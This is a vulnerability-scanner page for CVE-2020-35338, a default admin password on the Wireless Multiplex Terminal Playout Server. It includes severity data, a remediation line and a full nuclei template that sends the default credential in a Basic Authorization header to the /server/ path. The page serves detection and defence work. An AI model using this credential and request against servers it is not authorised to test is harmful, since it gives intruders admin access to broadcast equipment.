Browse / CVEs / CVE-2020-35338

CVE-2020-35338· mobileviewpoint / wireless multiplex terminal playout server· CWE-798

Wireless Multiplex Terminal Playout Server <=20.2.8 - Default Credential Detection

criticalseverity

9.8CVSS score

11.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Wireless Multiplex Terminal Playout Server <=20.2.8 has a default account with a password of pokon available via its web administrative interface.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to the server.

Fix

Change the default credentials to strong and unique ones.

How to confirm it

Send: GET {{BaseURL}}/server/
Positive when: contains "WMT Server" AND status 200

Run it with nuclei: nuclei -id CVE-2020-35338 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-35338

info:
  name: Wireless Multiplex Terminal Playout Server <=20.2.8 - Default Credential Detection
  author: Jeya Seelan
  severity: critical
  description: Wireless Multiplex Terminal Playout Server <=20.2.8 has a default account with a password of pokon available via its web administrative interface.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the server.
  remediation: |
    Change the default credentials to strong and unique ones.
  reference:
    - https://jeyaseelans.medium.com/cve-2020-35338-9e841f48defa
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35338
    - https://www.mobileviewpoint.com/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35338
    cwe-id: CWE-798
    epss-score: 0.11505
    epss-percentile: 0.96056
    cpe: cpe:2.3:a:mobileviewpoint:wireless_multiplex_terminal_playout_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mobileviewpoint
    product: wireless_multiplex_terminal_playout_server
  tags: cve,cve2020,wmt,default-login,mobileviewpoint,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/server/"

    headers:
      Authorization: "Basic OnBva29u"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "WMT Server"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from